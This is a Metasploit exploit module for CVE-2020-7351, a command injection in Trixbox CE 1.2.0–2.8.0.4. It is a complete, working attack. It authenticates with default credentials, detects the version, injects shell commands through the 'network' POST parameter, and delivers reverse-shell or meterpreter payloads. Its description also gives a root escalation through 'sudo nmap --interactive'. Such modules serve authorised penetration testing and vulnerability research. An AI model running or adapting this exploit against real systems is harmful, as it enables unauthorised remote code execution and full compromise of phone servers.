## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'TrixBox CE endpoint_devicemap.php Authenticated Command Execution', 'Description' => %q{ This module exploits an authenticated OS command injection vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4 inclusive in the "network" POST parameter of the "/maint/modules/endpointcfg/endpoint_devicemap.php" page. Successful exploitation allows for arbitrary command execution on the underlying operating system as the "asterisk" user. Users can easily elevate their privileges to the "root" user however by executing "sudo nmap --interactive" followed by "!sh" from within nmap. }, 'Author' => [ # Obrela Labs Team - Discovery and Metasploit module 'Anastasios Stasinopoulos (@ancst)' ], 'References' => [ ['CVE', '2020-7351'], ['URL', 'https://github.com/rapid7/metasploit-framework/pull/13353'] # First ref is this module ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Payload' => { 'BadChars' => "\x00" }, 'DisclosureDate' => 'Apr 28 2020', 'Targets' => [ [ 'Automatic (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'Type' => :linux_dropper ], [ 'Automatic (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, 'Type' => :unix_memory ] ], 'Privileged' => false, 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('HttpUsername', [ true, 'User to login with', 'maint']), OptString.new('HttpPassword', [ true, 'Password to login with', 'password']), ] ) end def user datastore['HttpUsername'] end def pass datastore['HttpPassword'] end def get_target(res) version = res.body.scan(/v(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first if version.nil? version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first if version.nil? print_error("#{peer} - Unable to grab version of Trixbox CE installed on target!") return nil end end print_good("#{peer} - Trixbox CE v#{version} identified.") if Gem::Version.new(version).between?(Gem::Version.new('2.6.0.0'), Gem::Version.new('2.8.0.4')) @uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php') elsif Gem::Version.new(version).between?(Gem::Version.new('2.0.0.0'), Gem::Version.new('2.4.9.9')) @uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php') elsif Gem::Version.new(version).between?(Gem::Version.new('1.2.0.0'), Gem::Version.new('1.9.9.9')) @uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php') else return nil end return version end def login(user, pass, _opts = {}) uri = normalize_uri(target_uri.path, '/maint/') print_status("#{peer} - Authenticating using \"#{user}:#{pass}\" credentials...") res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'authorization' => basic_auth(user, pass) }) unless res # We return nil here, as callers should handle this case # specifically with their own unique error message. return nil end if res.code == 200 print_good("#{peer} - Authenticated successfully.") elsif res.code == 401 print_error("#{peer} - Authentication failed.") else print_error("#{peer} - The host responded with an unexpected status code: #{res.code}.") end return res rescue ::Rex::ConnectionError print_error('Caught a Rex::ConnectionError in login() method. Connection failed.') return nil end def execute_command(cmd, _opts = {}) send_request_cgi({ 'uri' => @uri, 'method' => 'POST', 'authorization' => basic_auth(user, pass), 'vars_post' => { 'network' => ";$(#{cmd})" } }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, 'Connection failed.') end def check res = login(user, pass) unless res print_error("No response was received from #{peer} whilst in check(), check it is online and the target port is open!") return CheckCode::Detected end if res.code == 200 version = get_target(res) if version.nil? # We don't print out an error message here as returning this will # automatically cause Metasploit to print out an appropriate error message. return CheckCode::Safe end delay = rand(7...10) cmd = "sleep #{delay}" print_status("#{peer} - Verifying remote code execution by attempting to execute '#{cmd}'.") t1 = Time.now.to_i res = execute_command(cmd) t2 = Time.now.to_i unless res print_error("#{peer} - Connection failed whilst trying to perform the command injection.") return CheckCode::Detected end diff = t2 - t1 if diff >= delay print_good("#{peer} - Response received after #{diff} seconds.") return CheckCode::Vulnerable else print_error("#{peer} - Response wasn't received within the expected period of time.") return CheckCode::Safe end end rescue ::Rex::ConnectionError print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.") return CheckCode::Unknown end def exploit res = login(user, pass) unless res print_error("No response was received from #{peer} whilst in exploit(), check it is online and the target port is open!") end if res.code == 200 version = get_target(res) if version.nil? print_error("#{peer} - The target is not vulnerable.") return false end print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...") case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 130_000) end end rescue ::Rex::ConnectionError print_error('Rex::ConnectionError caught in check(), could not connect to the target.') return false end end